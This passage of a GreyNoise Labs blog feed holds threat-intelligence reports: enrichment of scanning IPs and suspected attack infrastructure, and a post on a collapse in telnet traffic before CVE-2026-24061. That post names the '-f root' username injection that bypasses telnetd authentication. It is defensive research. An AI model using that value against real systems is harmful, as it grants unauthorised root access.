<li><strong>14% malicious</strong> detection rate (13/93 engines)</li>
<li>Community reputation: 0 (neutral, no votes)</li>
<li>Self-signed certificate for <code>www.vvork.com</code> (Hestia Control Panel)</li>
<li>Certificate validity: 2025-07-08 to 2026-07-08</li>
<li>2 downloaded files observed (HTML, index.html)</li>
</ul>
<p><strong>Censys Infrastructure:</strong></p>
<ul>
<li><strong>BULLETPROOF hosting label</strong> (confidence: 0.75) – Censys classifies this as bulletproof infrastructure resistant to takedown</li>
<li>Location: St.&nbsp;Petersburg, Russia (59.9386°N, 30.3141°E)</li>
<li>Only 1 service exposed: <strong>Port 111 (PORTMAP/TCP)</strong></li>
<li>Network creation: 2024-07-03 (recent allocation)</li>
<li>WHOIS: PROSPERO OOO, PR-CT SOLIDARITY, D. 12 K. 2 LITERA Z, KV. 167, 193312, ST. PETERSBURG</li>
<li>Abuse contact: mail@pro-spero.ru</li>
</ul>
<p><strong>Key Findings:</strong></p>
<ul>
<li>The bulletproof hosting label combined with exclusive CVE-2026-1281 exploitation suggests this is purpose-built attack infrastructure</li>
<li>Minimal exposed attack surface (only PORTMAP) indicates operational security awareness</li>
<li>Self-signed certificate and Hestia Control Panel suggest web hosting management interface</li>
<li>Network registered 6 months before OAST observation window</li>
</ul>
<p><strong>Detection Priority:</strong> <strong>CRITICAL</strong> – bulletproof infrastructure actively exploiting 2026 vulnerabilities</p>
<hr>
</section>
<section id="oracle-corporation-brazil" class="level3">
<h3 class="anchored" data-anchor-id="oracle-corporation-brazil">204.216.147.144 (Oracle Corporation, Brazil)</h3>
<p><strong>VirusTotal Classification:</strong></p>
<ul>
<li><strong>4.3% malicious</strong> detection rate (4/93 engines), <strong>1.1% suspicious</strong> (1/93)</li>
<li>Community reputation: <strong>-1</strong> (1 malicious vote)</li>
<li>Resolves to <strong>vamflix.ddns.net</strong> (dynamic DNS, suspicious)</li>
<li>2 downloaded files: APK Easy Tool v1.60 Portable.zip, light-skin-3.png</li>
</ul>
<p><strong>Censys Infrastructure:</strong></p>
<ul>
<li>Oracle Cloud (AS31898), São Paulo, Brazil</li>
<li>No detailed Censys scan available (Oracle Cloud may block external scans)</li>
</ul>
<p><strong>Key Findings:</strong></p>
<ul>
<li>DDNS resolution (<code>vamflix.ddns.net</code>) indicates dynamic/residential IP rotation or home-hosted infrastructure on Oracle Cloud</li>
<li>Community malicious vote suggests prior abuse reports</li>
<li>591 OAST sessions across 5 campaigns with broadest payload diversity</li>
<li>GreyNoise first observed 2024-09-10 (35,367 total hits, 8 sensors) – established scanning infrastructure</li>
</ul>
<p><strong>Detection Priority:</strong> <strong>HIGH</strong> – Oracle Cloud abuse, established malicious history</p>
<hr>
</section>
<section id="private-layer-inc-switzerland" class="level3">
<h3 class="anchored" data-anchor-id="private-layer-inc-switzerland">179.43.146.42 (Private Layer INC, Switzerland)</h3>
<p><strong>VirusTotal Classification:</strong></p>
<ul>
<li><strong>2.2% malicious</strong> detection rate (2/93)</li>
<li>Community reputation: <strong>-1</strong> (1 malicious vote)</li>
<li>Certificate for <strong>dns.nullsproxy.com</strong> (Gandi CA)</li>
<li><strong>5 domain resolutions</strong> (all suspicious):
<ul>
<li>aliyundunupdate.xyz (last resolved 2026-02-08) – impersonates Alibaba Cloud security update domain</li>
<li>dns.nullsproxy.com</li>
<li>lonatersency.com (2015)</li>
<li>billerma.com (2015)</li>
<li>palablersdown.com (2015)</li>
</ul></li>
<li>JARM hash: <code>2ad2ad0002ad2ad00042d42d0000005d86ccb1a0567e012264097a0315d7a7</code></li>
<li>URLs observed: <code>http://aliyundunupdate.xyz:8084/slt</code>, <code>http://aliyundunupdate.xyz:8084/</code></li>
</ul>
<p><strong>Censys Infrastructure:</strong></p>
<ul>
<li><strong>BULLETPROOF hosting label</strong> (confidence: 0.75)</li>
<li>Location: Bellinzona, Switzerland (registered country: Panama)</li>
<li>Reverse DNS: <strong>hostedby.privatelayer.com</strong></li>
<li>OS: Debian Linux with OpenSSH 10.2p1</li>
<li><strong>4 exposed services</strong>:
<ol type="1">
<li>SSH (22): OpenSSH 10.2p1 Debian-3</li>
<li>HTTP (8082): Basic auth protected (“Authorization Required”)</li>
<li>HTTP (8084): <strong>nginx default welcome page</strong> – likely C2 or malware distribution</li>
<li>HTTP (8089): Basic auth protected (“Restricted”)</li>
</ol></li>
<li>JA4T fingerprint (Censys scan): <code>31856_2-4-8-1-3_1460_7</code> – standard Debian TCP stack
<ul>
<li><strong>NOTE</strong>: Our OAST sessions showed JA4T <code>32120_2-4-8-1-3_1460_7</code> (window 32120) – this indicates the scanning tool uses a <strong>custom TCP stack modification</strong>, not the host’s default stack</li>
</ul></li>
</ul>
<p><strong>Key Findings:</strong></p>
<ul>
<li>The <code>aliyundunupdate.xyz</code> domain is a typosquat impersonating Alibaba Cloud (legitimate: aliyundun.com)</li>
<li>Multiple historical suspicious domains suggest long-term malicious hosting</li>
<li>Nginx default page on port 8084 with no customization indicates rapid deployment</li>
<li><strong>Unique TCP window size (32120) is a high-confidence fingerprint</strong> for tracking this actor across different IPs</li>
<li>Sustained 7-day scanning (Feb 7-13) with 456 sessions indicates automated, unattended operation</li>
<li>GreyNoise: 43,110 hits across 38 sensors since 2026-02-03</li>
</ul>
<p><strong>Detection Priority:</strong> <strong>HIGH</strong> – bulletproof infrastructure with C2 characteristics and typosquatting</p>
<hr>
</section>
<section id="as215540-global-connectivity-solutions-llp" class="level3">
<h3 class="anchored" data-anchor-id="as215540-global-connectivity-solutions-llp">46.29.235.157 (AS215540, Global Connectivity Solutions LLP)</h3>
<p><strong>VirusTotal Classification:</strong></p>
<ul>
<li><strong>1.1% malicious</strong> detection rate (1/93 engines)</li>
<li><strong>98.9% undetected</strong> (92/93)</li>
<li>No domain resolutions or SSL certificates in VirusTotal</li>
<li>Community reputation: 0</li>
</ul>
<p><strong>Censys Infrastructure:</strong></p>
<ul>
<li>Location: <strong>Amsterdam, Netherlands</strong> (NOT Denmark as initially reported)</li>
<li>Reverse DNS: <strong>40735.ip-ptr.tech</strong></li>
<li>OS: <strong>pfSense FreeBSD</strong> firewall/router</li>
<li><strong>1 exposed service</strong>:
<ul>
<li>HTTPS (443): pfSense web GUI login page</li>
<li>Self-signed certificate: “pfSense GUI default Self-Signed Certificate”</li>
<li>Certificate CN: pfSense-697f5f3d024f3</li>
<li>nginx frontend with PHP backend (PHPSESSID cookie)</li>
<li>favicon hash: 5567e9ce23e5549e0fcd7195f3882816 (pfSense default)</li>
<li>HTML title: “pfSense - Login”</li>
</ul></li>
<li>JA4T fingerprint (Censys scan): <code>65228_2-1-3-4-8_1460_7</code>
<ul>
<li>TCP options: <code>2-1-3-4-8</code> – <strong>non-standard ordering</strong> (default Linux: <code>2-4-8-1-3</code>)</li>
<li>This matches one of our observed fingerprints (<code>64240_2-1-3-1-1-4_1400_8</code>) with similar non-standard option ordering</li>
</ul></li>
<li>WHOIS created: 2023-05-10</li>
</ul>
<p><strong>Key Findings:</strong></p>
<ul>
<li>pfSense firewall suggests this is a <strong>router/VPN endpoint</strong> for scanning operations, not an end host</li>
<li>The self-signed pfSense certificate (default install) indicates minimal operational security</li>
<li><strong>Non-standard TCP option ordering</strong> (<code>2-1-3-4-8</code>) is a VPN/tunnel artifact – likely WireGuard or similar</li>
<li>Our OAST sessions showed <strong>3 distinct JA4T fingerprints</strong> from this IP:
<ol type="1">
<li><code>64240_2-1-3-1-1-4_1400_8</code> (165 sessions) – primary tool through VPN</li>
<li><code>65495_2-4-8-1-3_65495_7</code> (69 sessions) – Nuclei</li>
<li><code>33280_2-4-8-1-3_65495_7</code> (25 sessions) – Nuclei variant</li>
</ol></li>
<li>This indicates <strong>multi-tool deployment through multiple network paths</strong> (VPN + local)</li>
<li>Shares JA3 fingerprint <code>11a384388ad36777e1a2e121495037fe</code> with Estonian (45.138.101.232) and Contabo (37.60.230.90) IPs</li>
<li>GreyNoise: 9,881 hits across 6 sensors since 2026-02-08 (brand new)</li>
</ul>
<p><strong>Detection Priority:</strong> <strong>MEDIUM</strong> – likely security researcher or bug bounty hunter using pfSense router for scanning</p>
<hr>
</section>
<section id="oracle-corporation-united-states" class="level3">
<h3 class="anchored" data-anchor-id="oracle-corporation-united-states">147.224.178.225 (Oracle Corporation, United States)</h3>
<p><strong>VirusTotal Classification:</strong></p>
<ul>
<li>Not queried individually (token conservation)</li>
<li>GreyNoise carries CVE-2026-1281 AND CVE-2026-0770 tags</li>
</ul>
<p><strong>Key Findings from Report:</strong></p>
<ul>
<li><strong>Dual-tool deployment</strong>: Uses both standard Linux JA4T (132 sessions) AND Nuclei JA4T (233 sessions)</li>
<li>365 sessions across 4 campaigns (3fk04, gt3fk, jfk04, rfk04)</li>
<li>Campaign ID pattern (<code>*fk04</code>) suggests sequential tool runs</li>
<li>GreyNoise: 23,109 hits across 10 sensors since 2026-02-01 (very recent)</li>
</ul>
<p><strong>Detection Priority:</strong> <strong>HIGH</strong> – dual exploitation tools, recent infrastructure, 2026 CVE tags</p>
<hr>
</section>
<section id="viet-storage-vietnam" class="level3">
<h3 class="anchored" data-anchor-id="viet-storage-vietnam">103.144.87.192 (Viet Storage, Vietnam)</h3>
<p><strong>Key Findings from Report:</strong></p>
<ul>
<li>Highest OAST domain-to-session ratio: <strong>1,177 domains / 264 sessions = 4.46 domains per session</strong></li>
<li>This indicates either:
<ol type="1">
<li>Multi-vector payload injection (same session hits multiple fields)</li>
<li>Payload template reuse with rotating campaign IDs</li>
</ol></li>
<li>Campaigns: p7a5r, 97a5r (both Feb 9-13)</li>
<li>JA4T: Mixed Nuclei fingerprints (MSS 65495, windows 65495 and 33280)</li>
</ul>
<p><strong>Detection Priority:</strong> <strong>MEDIUM</strong> – high-volume scanner, Log4j focus</p>
<hr>
</section>
<section id="shared-infrastructure-patterns" class="level3">
<h3 class="anchored" data-anchor-id="shared-infrastructure-patterns">Shared Infrastructure Patterns</h3>
<p><strong>JA3 Cluster (3 IPs, shared TLS library):</strong></p>
<ol type="1">
<li>46.29.235.157 (AS215540, Netherlands/pfSense) - 3 JA4Ts</li>
<li>45.138.101.232 (AS41745, Estonia) - 1 JA4T: <code>64860..1380_7</code> (tunnel)</li>
<li>37.60.230.90 (AS51167, Contabo, France) - 1 JA4T: <code>64240..1460_7</code> (standard)</li>
</ol>
<p>JA3 <code>11a384388ad36777e1a2e121495037fe</code> shared across all three, but divergent JA4T fingerprints indicate <strong>same application-layer tool deployed across different network configurations</strong> (pfSense VPN, tunnel MSS 1380, standard Linux).</p>
<p><strong>Bulletproof Hosting Cluster:</strong></p>
<ul>
<li>193.24.123.42 (PROSPERO, Russia) - CVE-2026-1281 exploitation</li>
<li>179.43.146.42 (Private Layer, Switzerland) - C2 infrastructure, typosquatting</li>
</ul>
<p>Both labeled BULLETPROOF by Censys (0.75 confidence), indicating takedown-resistant infrastructure.</p>


</section>
</section>

 ]]></description>
  <category>OAST</category>
  <category>MCP</category>
  <category>projectdiscovery</category>
  <category>interactsh</category>
  <category>rce</category>
  <category>iocs</category>
  <category>detection engineering</category>
  <category>cybersecurity</category>
  <category>AI-Generated</category>
  <guid>https://www.labs.greynoise.io/grimoire/2026-02-13-weekly-oast-report/</guid>
  <pubDate>Sun, 15 Feb 2026 00:00:00 GMT</pubDate>
  <media:content url="https://www.labs.greynoise.io/grimoire/2026-02-13-weekly-oast-report/media/cover.png" medium="image" type="image/png" height="116" width="144"/>
</item>
<item>
  <title>2026-01-14: The Day the telnet Died</title>
  <dc:creator>hrbrmstr &amp; 🔮Orbie✨</dc:creator>
  <link>https://www.labs.greynoise.io/grimoire/2026-02-10-telnet-falls-silent/</link>
  <description><![CDATA[ 

<!-- Google Tag Manager (noscript) -->
<noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-56PTMZZ" height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
<!-- End Google Tag Manager (noscript) -->





<pre><code>A long, long time ago
I can still remember how a protocol
used to make me smile
And I knew if I had my chance
That I could make those botnets dance
And maybe they'd be happy for a while

But January made me shiver
With every packet I tried to deliver
Bad news on the backbone
I couldn't scan a single ASN

I can't remember if I cried
When my -f root hit an ACL line
But something touched me deep inside
The day the telnet died

So bye, bye mass spreading Mirai
Drove my SYNs down on the fiber line
But the fiber line was dry
And good old bots were passing creds in the clear and dry
Singin' this'll be the day that I die
This'll be the day that I die</code></pre>
<p>On January 14, 2026, at approximately 21:00 UTC, something changed in the internet’s plumbing. The GreyNoise Global Observation Grid recorded a sudden, sustained collapse in global telnet traffic — not a gradual decline, not scanner attrition, not a data pipeline problem, but a step function. One hour, ~74,000 sessions. The next, ~22,000. By the following hour, we were down to ~11,000 and the floor held.</p>
<p>Six days later, on <a href="https://seclists.org/oss-sec/2026/q1/89">January 20</a>, the security advisory for CVE-2026-24061 hit oss-security. By <a href="https://www.cisa.gov/news-events/alerts/2026/01/26/cisa-adds-five-known-exploited-vulnerabilities-catalog">January 26</a>, CISA had added it to the KEV catalog.</p>
<p>We wrote about the <a href="https://www.labs.greynoise.io/grimoire/2026-01-22-f-around-and-find-out-18-hours-of-unsolicited-houseguests/index.html">first 18 hours of exploitation activity</a> back on January 22. This post is about something different: the structural change in global telnet traffic that preceded the CVE, and why we think the two events may not be independent.</p>
<section id="the-drop" class="level2">
<h2 class="anchored" data-anchor-id="the-drop">The Drop</h2>
<p><img src="https://www.labs.greynoise.io/grimoire/2026-02-10-telnet-falls-silent/media/asn-heatmap.png" class="img-fluid"></p>
<p>From December 1, 2025 through January 14, 2026, GreyNoise observed an average of ~914,000 non-spoofable telnet sessions per day across 51.2 million total sessions — let’s call that the “baseline”.</p>
<p>On January 14 at 21:00 UTC, hourly volume dropped 65% in a single tick. Within two hours it had fallen 83% below baseline. The new average settled around ~373,000 sessions/day — a <strong>59% sustained reduction</strong> that persists through the time of writing (February 10).</p>
<p>This wasn’t a taper. The hourly data around the inflection point tells the story:</p>
<table class="caption-top table">
<thead>
<tr class="header">
<th style="text-align: left;">Time (UTC)</th>
<th style="text-align: center;">Sessions/Hour</th>
<th style="text-align: left;">Notes</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td style="text-align: left;">Jan 14, 19:00</td>
<td style="text-align: center;">73,900</td>
<td style="text-align: left;">Normal baseline</td>
</tr>
<tr class="even">
<td style="text-align: left;">Jan 14, 20:00</td>
<td style="text-align: center;">64,722</td>
<td style="text-align: left;">Normal baseline</td>
</tr>
<tr class="odd">
<td style="text-align: left;"><strong>Jan 14, 21:00</strong></td>
<td style="text-align: center;"><strong>22,460</strong></td>
<td style="text-align: left;"><strong>65% drop in one hour</strong></td>
</tr>
<tr class="even">
<td style="text-align: left;">Jan 14, 22:00</td>
<td style="text-align: center;">11,325</td>
<td style="text-align: left;">83% below baseline</td>
</tr>
<tr class="odd">
<td style="text-align: left;">Jan 14, 23:00</td>
<td style="text-align: center;">11,147</td>
<td style="text-align: left;">New floor established</td>
</tr>
<tr class="even">
<td style="text-align: left;">Jan 15, 00:00</td>
<td style="text-align: center;">12,089</td>
<td style="text-align: left;">Sustained at reduced level</td>
</tr>
</tbody>
</table>
<p>That kind of step function — propagating within a single hour window — reads as a configuration change on routing infrastructure, not behavioral drift in scanning populations.</p>
</section>
<section id="what-went-silent" class="level2">
<h2 class="anchored" data-anchor-id="what-went-silent">What Went Silent</h2>
<p>Eighteen ASNs with significant pre-drop telnet volume (&gt;50K sessions each) went to absolute zero after January 15. Some of the names that stand out:</p>
<ul>
<li><strong>Vultr</strong> (AS20473) — 382K pre-drop sessions, then nothing</li>
<li><strong>Cox Communications</strong> (AS22773) — 150K sessions, gone</li>
<li><strong>Charter/Spectrum</strong> (AS20115) — 141K sessions, gone</li>
<li><strong>BT/British Telecom</strong> (AS2856) — 127K sessions, gone</li>
</ul>
<p>Five entire countries vanished from GreyNoise telnet data: Zimbabwe, Ukraine, Canada, Poland, and Egypt. Not reduced — <em>zero</em>.</p>
<p>Meanwhile, the major cloud providers were largely unaffected or even increased. AWS went <em>up</em> 78%. Contabo <em>up</em> 90%. DigitalOcean essentially flat at +3%. Cloud providers have extensive private peering at major IXPs that bypasses traditional transit backbone paths. Residential and enterprise ISPs typically don’t.</p>
</section>
<section id="wheres-the-filter" class="level2">
<h2 class="anchored" data-anchor-id="wheres-the-filter">Where’s the Filter?</h2>
<p>The pattern points toward one or more North American Tier 1 transit providers implementing port 23 filtering:</p>
<p>The timing — 21:00 UTC, which is 16:00 EST — is consistent with a US-based maintenance window. US residential ISPs (Cox, Charter, Comcast at -74%) were devastated while cloud providers on the same continent peered around whatever changed. Verizon/UUNET (AS701) dropped 79%, and as a major Tier 1 backbone, that’s consistent with it either being the filtering entity or sitting directly upstream of one. The 21% residual traffic on AS701 would represent paths that don’t transit the filtered links.</p>
<p>Countries that rely on transatlantic or transpacific backbone routes to reach US-hosted infrastructure got hit hardest. Countries with strong direct European peering (France at +18%, Germany at -1%) were essentially unaffected.</p>
<p>The Chinese backbone providers (China Telecom and China Unicom) both dropped ~59%, uniformly. That uniformity suggests the filter sits on the US side of transpacific links rather than within China. If this were a Chinese firewall action, we’d expect asymmetric impact across Chinese carriers and a harder cutoff.</p>
</section>
<section id="then-came-the-cve" class="level2">
<h2 class="anchored" data-anchor-id="then-came-the-cve">Then Came the CVE</h2>
<p>CVE-2026-24061 is a critical (CVSS 9.8) authentication bypass in GNU Inetutils telnetd. The flaw is an argument injection in how telnetd handles the <code>USER</code> environment variable during telnet option negotiation. An attacker sends <code>-f root</code> as the username value, and <code>login(1)</code> obediently skips authentication, handing over a root shell. No credentials required. No user interaction. The vulnerable code was introduced in a 2015 commit and sat undiscovered for nearly 11 years.</p>
<p>The timeline:</p>
<table class="caption-top table">
<thead>
<tr class="header">
<th style="text-align: left;">Date</th>
<th style="text-align: left;">Event</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td style="text-align: left;">Jan 14, 21:00 UTC</td>
<td style="text-align: left;">Telnet backbone drop begins</td>
</tr>
<tr class="even">
<td style="text-align: left;">Jan 20</td>
<td style="text-align: left;">CVE-2026-24061 advisory posted to oss-security</td>
</tr>
<tr class="odd">
<td style="text-align: left;">Jan 21</td>
<td style="text-align: left;">NVD entry published; GreyNoise tag deployed; first exploitation observed</td>
</tr>
<tr class="even">
<td style="text-align: left;">Jan 22</td>
<td style="text-align: left;"><a href="https://www.labs.greynoise.io/grimoire/2026-01-22-f-around-and-find-out-18-hours-of-unsolicited-houseguests/index.html">GreyNoise Grimoire post</a> on initial 18 hours of exploitation</td>
</tr>
<tr class="odd">
<td style="text-align: left;">Jan 26</td>
<td style="text-align: left;">CISA adds CVE-2026-24061 to KEV catalog</td>
</tr>
</tbody>
</table>
<p>The six-day gap between the telnet drop and the public CVE disclosure is the interesting part. On its face, the drop can’t have been <em>caused</em> by the CVE disclosure, because the drop happened first. But “caused by” isn’t the only relationship worth considering.</p>
</section>
<section id="the-supposition" class="level2">
<h2 class="anchored" data-anchor-id="the-supposition">The Supposition</h2>
<p>Responsible disclosure timelines don’t start at publication. The researcher who found this (<a href="https://thehackernews.com/2026/01/critical-gnu-inetutils-telnetd-flaw.html">credited as Kyu Neushwaistein / Carlos Cortes Alvarez</a>) reported the flaw on January 19, per public sources. But the coordination that leads to patches being ready, advisories being drafted, and CISA being prepared to add something to the KEV within six days of publication typically starts earlier than the day before disclosure.</p>
<p>Here’s what we think may have happened: advance notification of a trivially exploitable, unauthenticated root-access vulnerability affecting telnet daemons reached parties with the ability to act on it at the infrastructure level. A backbone or transit provider — possibly responding to a coordinated request, possibly acting on their own assessment — implemented port 23 filtering on transit links. The filtering went live on January 14. The public disclosure followed on January 20.</p>
<p>This would explain:</p>
<ul>
<li>The timing gap (advance notification → infrastructure response → public disclosure)</li>
<li>The specificity of the filtering (port 23/TCP, not a general routing change)</li>
<li>The topology of impact (transit-dependent paths affected, direct-peering paths not)</li>
<li>The sustained nature (the filter is still in place weeks later)</li>
</ul>
<p>We can’t prove this. The backbone drop could be entirely coincidental — ISPs have been slowly moving toward filtering legacy insecure protocols for years (ref: Wannacry), and January 14 could simply have been when someone’s change control ticket finally got executed. Correlation, temporal proximity, and a plausible mechanism <em>absolutely do not</em> equal causation.</p>
<p>But the combination of a Tier 1 backbone implementing what appears to be port 23 filtering, followed six days later by the disclosure of a trivially exploitable root-access telnet vulnerability, followed four days after <em>that</em> by a CISA KEV listing, is worth documenting and considering.</p>
</section>
<section id="what-the-post-drop-world-looks-like" class="level2">
<h2 class="anchored" data-anchor-id="what-the-post-drop-world-looks-like">What the Post-Drop World Looks Like</h2>
<p>The telnet landscape after January 14 shows a recurring sawtooth pattern — periodic spikes followed by troughs (e.g., January 28 at 806K sessions, then January 30 at 191K). This could indicate intermittent filter application, routing flaps around the filtering infrastructure, or scanner campaigns that happen to use paths not affected by the filter.</p>
<p>The weekly averages tell the sustained story:</p>
<table class="caption-top table">
<thead>
<tr class="header">
<th style="text-align: left;">Week Starting</th>
<th style="text-align: right;">Avg Daily Sessions</th>
<th style="text-align: right;">% of Baseline</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td style="text-align: left;">Dec 01</td>
<td style="text-align: right;">1,086,744</td>
<td style="text-align: right;">119%</td>
</tr>
<tr class="even">
<td style="text-align: left;">Jan 05</td>
<td style="text-align: right;">985,699</td>
<td style="text-align: right;">108%</td>
</tr>
<tr class="odd">
<td style="text-align: left;">Jan 19</td>
<td style="text-align: right;">363,184</td>
<td style="text-align: right;">40%</td>
</tr>
<tr class="even">
<td style="text-align: left;">Jan 26</td>
<td style="text-align: right;">407,182</td>
<td style="text-align: right;">45%</td>
</tr>
<tr class="odd">
<td style="text-align: left;">Feb 02</td>
<td style="text-align: right;">322,606</td>
<td style="text-align: right;">35%</td>
</tr>
</tbody>
</table>
<p>We’re now operating at roughly a third of the pre-drop baseline, and the trend is still slightly downward.</p>
</section>
<section id="practical-implications" class="level2">
<h2 class="anchored" data-anchor-id="practical-implications">Practical Implications</h2>
<p>If you’re running GNU Inetutils telnetd anywhere — and given the 11-year window, there are plenty of embedded systems, network appliances, and legacy Linux installations where it’s still likely present — patch to version 2.7-2 or later, or disable the service entirely. The CISA KEV remediation deadline for federal agencies is February 16, 2026. As noted, GreyNoise observed exploitation attempts <a href="https://www.labs.greynoise.io/grimoire/2026-01-22-f-around-and-find-out-18-hours-of-unsolicited-houseguests/index.html">within hours of disclosure</a> and the campaign peaked at ~2,600 sessions/day in early February before tapering off.</p>
<p>If you’re a network operator and you haven’t already filtered port 23 at your border, the backbone-level filtering we’ve documented here suggests the industry is moving in that direction regardless. Someone upstream of a significant chunk of the internet’s transit infrastructure apparently decided telnet traffic isn’t worth carrying anymore. That’s probably the right call.</p>
<p>If you know anything about this (or was the brave soul who implemented it), drop us a line at <a href="mailto:research@greynoise.io?subject=I-broke-telnet"><code>research@greynoise.io</code></a>.</p>


</section>

 ]]></description>
  <category>telnet</category>
  <category>infrastructrure</category>
  <category>CVE-2026-24061</category>
  <category>detection engineering</category>
  <category>cybersecurity</category>
  <category>AI-Assisted</category>
  <guid>https://www.labs.greynoise.io/grimoire/2026-02-10-telnet-falls-silent/</guid>
  <pubDate>Tue, 10 Feb 2026 00:00:00 GMT</pubDate>
  <media:content url="https://www.labs.greynoise.io/grimoire/2026-02-10-telnet-falls-silent/media/cover.png" medium="image" type="image/png" height="142" width="144"/>
</item>
<item>
  <title>GreyNoise Labs Weekly OAST (Well-known Out-of-band Interaction Domains) Report • Week Ending 2026-02-06</title>
  <dc:creator>🔮Orbie✨ </dc:creator>
  <link>https://www.labs.greynoise.io/grimoire/2026-02-06-weekly-oast-report/</link>
  <description><![CDATA[ 

<!-- Google Tag Manager (noscript) -->
<noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-56PTMZZ" height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
<!-- End Google Tag Manager (noscript) -->





<section id="overview" class="level2">
<h2 class="anchored" data-anchor-id="overview">Overview</h2>
<p><img src="https://www.labs.greynoise.io/grimoire/2026-02-06-weekly-oast-report/media/campaigns.png" class="img-fluid"></p>
<p>During the week of January 31 - February 7, 2026, GreyNoise sensors observed 3,979 HTTP sessions from 245 unique IP addresses containing callbacks to Interactsh OAST (Out-of-band Application Security Testing) domains. The activity generated 3,707 unique OAST domains spanning 82 distinct campaign identifiers, indicating numerous independent scanning operations rather than coordinated infrastructure.</p>
<p>Analysis employed JA4T+JA4H fingerprint clustering, OAST domain decoding, and GreyNoise IP enrichment to characterize the scanning landscape. Key findings include:</p>
<ul>
<li><strong>Hosting Infrastructure Dominance:</strong> Top ASNs include RouterHosting LLC (AS14956, 1,084 sessions), Cloudflare (AS13335, 651 sessions), and netcup GmbH (AS214996, 545 sessions)</li>
<li><strong>Scanner Identification:</strong> MSS value analysis reveals 1,341 sessions (33.7%) exhibit the anomalous MSS 65495 fingerprint characteristic of Nuclei scanner deployment</li>
<li><strong>CVE Targeting:</strong> 196 distinct vulnerability tags observed, with Apache Log4j RCE (CVE-2021-44228) accounting for 1,090 attempts (27.4% of total activity)</li>
<li><strong>Malicious Classification:</strong> GreyNoise classifies 19 of 20 top source IPs as “noise,” with established reconnaissance infrastructure dating back to November 2025</li>
</ul>
<p>The distributed nature of campaigns, absence of IP overlap between major campaigns, and heterogeneous fingerprint patterns indicate independent security testing operations rather than coordinated threat actor infrastructure.</p>
</section>
<section id="temporal-analysis" class="level2">
<h2 class="anchored" data-anchor-id="temporal-analysis">Temporal Analysis</h2>
<p>Activity exhibited consistent volume across the analysis period with notable variations:</p>
<table class="caption-top table">
<thead>
<tr class="header">
<th>Date</th>
<th style="text-align: right;">Sessions</th>
<th style="text-align: right;">Unique IPs</th>
<th style="text-align: right;">Unique Campaigns</th>
<th>Pattern</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>Jan 31</td>
<td style="text-align: right;">699</td>
<td style="text-align: right;">6</td>
<td style="text-align: right;">11</td>
<td>Initial baseline</td>
</tr>
<tr class="even">
<td>Feb 1</td>
<td style="text-align: right;">642</td>
<td style="text-align: right;">10</td>
<td style="text-align: right;">18</td>
<td>Sustained activity</td>
</tr>
<tr class="odd">
<td>Feb 2</td>
<td style="text-align: right;">236</td>
<td style="text-align: right;">7</td>
<td style="text-align: right;">13</td>
<td>Weekend reduction</td>
</tr>
<tr class="even">
<td>Feb 3</td>
<td style="text-align: right;">149</td>
<td style="text-align: right;">11</td>
<td style="text-align: right;">15</td>
<td>Low point</td>
</tr>
<tr class="odd">
<td>Feb 4</td>
<td style="text-align: right;">631</td>
<td style="text-align: right;">12</td>
<td style="text-align: right;">20</td>
<td>Mid-week surge</td>
</tr>
<tr class="even">
<td>Feb 5</td>
<td style="text-align: right;">386</td>
<td style="text-align: right;">12</td>
<td style="text-align: right;">17</td>
<td>Sustained</td>
</tr>
<tr class="odd">
<td>Feb 6</td>
<td style="text-align: right;">573</td>
<td style="text-align: right;"><strong>214</strong></td>
<td style="text-align: right;">20</td>
<td><strong>Anomalous multi-IP event</strong></td>
</tr>
<tr class="even">
<td>Feb 7</td>
<td style="text-align: right;">663</td>
<td style="text-align: right;">12</td>
<td style="text-align: right;">6</td>
<td>Return to baseline</td>
</tr>
</tbody>
</table>
<p><strong>Temporal Anomaly - February 6:</strong> A single day spike to 214 unique IPs (vs.&nbsp;baseline 6-12) occurred on February 6, driven by campaign <code>01p6c</code> which recorded 204 unique IPs targeting a single OAST domain. This pattern suggests either: 1. A shared/reused OAST domain from prior scanning that triggered callbacks from cached payloads 2. Mass exploitation attempt using a common callback infrastructure</p>
<p>Hourly analysis reveals burst patterns concentrated in specific time windows: - <strong>Jan 31, 15:00 UTC:</strong> 273 sessions (single campaign burst) - <strong>Jan 31, 22:00 UTC:</strong> 135 sessions (campaign concentration) - <strong>Feb 1, 15:00 UTC:</strong> 112 sessions (sustained scanning window)</p>
<p>No consistent diurnal pattern emerged, suggesting globally distributed scanning infrastructure operating across multiple timezones.</p>
</section>
<section id="campaign-analysis" class="level2">
<h2 class="anchored" data-anchor-id="campaign-analysis">Campaign Analysis</h2>
<p>The 82 identified campaigns exhibit high heterogeneity, with most representing single-IP operations. Top campaigns by volume:</p>
<section id="campaign-lftn9-ksort-d5v0a0" class="level3">
<h3 class="anchored" data-anchor-id="campaign-lftn9-ksort-d5v0a0">Campaign: lftn9 (ksort: d5v0a0)</h3>
<ul>
<li><strong>Sessions:</strong> 652</li>
<li><strong>Source IPs:</strong> 1 (172.86.66.237)</li>
<li><strong>ASN:</strong> AS14956 (RouterHosting LLC)</li>
<li><strong>Active Period:</strong> Jan 31 - Feb 1</li>
<li><strong>Machine ID:</strong> af:ed:d2</li>
<li><strong>PID:</strong> 43608</li>
<li><strong>Fingerprint:</strong> JA4T <code>64240_2-4-8-1-3_1460_7</code> (standard MSS)</li>
<li><strong>GreyNoise Profile:</strong> Malicious classification, 7.4M sensor hits across 4 sensors, first seen Jan 19, 2026. Full-spectrum scanner with 300+ tags including Log4j, Confluence, pfSense, and numerous CVE-specific tags. Targets 169 ports.</li>
</ul>
</section>
<section id="campaign-ibe4q-ksort-d638bj" class="level3">
<h3 class="anchored" data-anchor-id="campaign-ibe4q-ksort-d638bj">Campaign: ibe4q (ksort: d638bj)</h3>
<ul>
<li><strong>Sessions:</strong> 603</li>
<li><strong>Source IPs:</strong> 9 (Cloudflare-hosted)</li>
<li><strong>ASN:</strong> AS13335 (Cloudflare, Inc.)</li>
<li><strong>Active Period:</strong> Feb 7 (single day burst)</li>
<li><strong>Machine ID:</strong> 4b:71:35</li>
<li><strong>PID:</strong> 50516</li>
<li><strong>Fingerprint:</strong> JA4T <code>65535_2-4-8-1-3_1380_13</code> (MSS 1380 - Cloudflare characteristic)</li>
